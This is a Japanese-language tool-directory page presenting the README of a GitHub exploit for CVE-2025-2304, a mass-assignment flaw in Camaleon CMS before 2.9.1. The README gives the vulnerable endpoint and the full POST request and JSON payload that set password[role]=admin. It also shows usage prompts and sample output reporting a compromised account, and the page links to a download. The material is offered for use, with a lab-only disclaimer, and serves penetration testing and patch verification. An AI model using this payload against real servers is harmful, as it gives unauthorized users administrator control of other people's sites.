Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-2304-exploit | Kitploit
ツール/GitHubGitHub/jeanback1/cve-2025-2304-exploit
特権昇格ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubjeanback1/cve-2025-2304-exploit

CVE-2025-2304-exploit

リポジトリを見る
3ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-2304 - Camaleon CMS マスアサインメント特権昇格

📌 プロジェクト概要

CVE-2025-2304 は、Camaleon CMS(バージョン 2.9.1 未満)におけるマスアサインメント(Mass Assignment)の脆弱性です。認証済みユーザーがパスワード変更リクエストの role パラメータを操作することで、管理者(administrator)へ特権を昇格させることが可能になります。

Python 3.x License Security Status

🚨 技術的な脆弱性の説明

脆弱性の背景

Camaleon CMS は Ruby on Rails を使用しており、バージョン 2.9.0 では UsersController#updated_ajax コントローラにマスアサインメントの脆弱性があります。このコントローラは制限なしで .permit! を使用しているため、リクエストで送信された任意のパラメータがユーザーモデルに直接代入されます。

攻撃ベクトル

  1. 脆弱なエンドポイント: POST /admin/users/{user_id}/updated_ajax
  2. 重要なパラメータ: password 名前空間内で送信される password[role]
  3. メカニズム: コントローラは params.require(:password) を処理した後、.permit! を適用します。これはどのパラメータもフィルタリングしません
  4. 結果: ユーザーの role フィールドに "admin" という値が注入されます

技術的なフロー

root@kitploit:~
POST /admin/users/3/updated_ajax
Content-Type: application/x-www-form-urlencoded

authenticity_token=[TOKEN]&
password[password]=new_password&
password[password_confirmation]=new_password&
password[role]=admin&
password[id]=3&
_method=patch

password[role] パラメータは User.update(permitted_params) によって処理され、.permit! によりユーザーレコードに直接代入されます。これにより、特権が user から admin に昇格します。

⚡ インストールと使用方法

前提条件

root@kitploit:~
# Python 3.6+
python3 --version

# 必要なライブラリ
pip install requests

スクリプトの実行

英語版:

root@kitploit:~
python3 exploit_cve_2025_2304_en.py

スペイン語版:

root@kitploit:~
python3 exploit_cve_2025_2304.py

必要な入力

スクリプトは対話形式で以下を要求します:

  1. サーバーのベース URL: http(s)://domain:port
  2. ユーザー ID: 攻撃者ユーザーの識別子
  3. セッションクッキー: _cms_session の値(ログイン後に取得)
  4. 新しいパスワード: 任意(デフォルト: P@ssw0rd_lab_2025!)

完全なコマンド例

root@kitploit:~
python3 exploit_cve_2025_2304_en.py
root@kitploit:~
[?] Base URL of the server (ex: http://localhost:3000) : http://192.168.1.100:8080
[?] User ID of the attacker user (ex: 3) : 5
[?] Session cookie (_cms_session=VALUE) : _cms_session=abc123def456

🔧 このスクリプトについて

なぜ作ったのか?

この脆弱性を発見したとき、最初に思いついたのは Burp Suite を使って手動でテストすることでした。そして、それは実際に機能しました。しかし、私はさらに一歩進めて、その手動プロセスを再現可能で移植可能なものにしたいと考え、このスクリプトを書きました。 この脆弱性を悪用するだけでなく、これを構築することで、私が純粋に興味を持っているいくつかのことに取り組む機会にもなりました:

  • セッション処理を伴う複数ステップの HTTP フローを自動化すること
  • ライブレスポンスから CSRF トークンを動的に解析すること
  • 同じエンドポイントからの一貫性のない JSON/HTML レスポンスを扱うこと
  • 悪用が成功したときと、しなかったときを正確に判断すること

私は Burp や Caido を置き換えようとしているわけではありません。それらのツールは対話型テストには欠かせません。これは、繰り返し作業をするくらいならスクリプトを書きたいという私の性分によるものです。

⚠️ 免責事項と倫理的配慮

重要な法的警告

root@kitploit:~
THIS SCRIPT IS EXCLUSIVELY FOR:
- Controlled laboratory environments
- Systems you own or have explicit authorization to test
- Educational purposes and authorized research

STRICTLY PROHIBITED:
- Use on systems without authorization
- Application with malicious intent
- Violation of data protection laws
- Compromising third-party security

The author is not responsible for misuse of this tool.

📊 スクリーンショット例

実行成功時

root@kitploit:~
╔══════════════════════════════════════════════════════════════╗
║        CVE-2025-2304 │ Camaleon CMS Mass Assignment          ║
║        Privilege Escalation: user → admin                    ║
║        [LABORATORY / CONTROLLED ENVIRONMENT]                 ║
╚══════════════════════════════════════════════════════════════╝

[✔] CSRF token obtained: abc123def456...
[✔] EXPLOIT SUCCESSFUL: Server confirmed the update.
[✔] Status : COMPROMISED
   User 5 should now have 'admin' role.

ペイロード構造

root@kitploit:~
{
    "authenticity_token": "abcd1234",
    "password[password]": "P@ssw0rd_lab_2025!",
    "password[password_confirmation]": "P@ssw0rd_lab_2025!",
    "password[role]": "admin",
    "password[id]": "5",
    "_method": "patch"
}

🛠 ロードマップと今後の改善

予定されている改善

  1. ログインの自動化: セッションを自動取得するための統合
  2. バージョン検出: 脆弱なバージョンを確認するためのフィンガープリンティングスクリプト
  3. 自動化パイプラインでよりクリーンな出力を実現する verbose/quiet モード
  4. バルクテスト: 複数のユーザー/URL を同時にテストする機能
  5. レポート生成: JSON/HTML 形式での結果エクスポート

拡張性

コードはモジュール構造になっており、以下が容易です:

  • 他のマスアサインメント脆弱性への適用
  • ペンテストフレームワークへの統合
  • ロギングおよび監視機能の追加

📚 参考情報とリソース

  • 公式 CVE: CVE-2025-2304
  • Camaleon CMS: 公式リポジトリ
  • パッチ: バージョン 2.9.1 で .permit! の使用が修正されました
  • Rails ドキュメント: Strong Parameters

🤝 コントリビューション

以下のようなコントリビューションを歓迎します:

  1. 成功条件の検出改善
  2. 倫理的な焦点を維持しながらの機能追加
  3. バグ修正またはエラーハンドリングの改善
  4. 追加のユースケースの文書化

注意: このプロジェクトは、専ら教育的および許可された研究目的のためのものです。


最終更新: 2025年4月 | セキュリティアナリスト(実験室環境)

ツールをダウンロード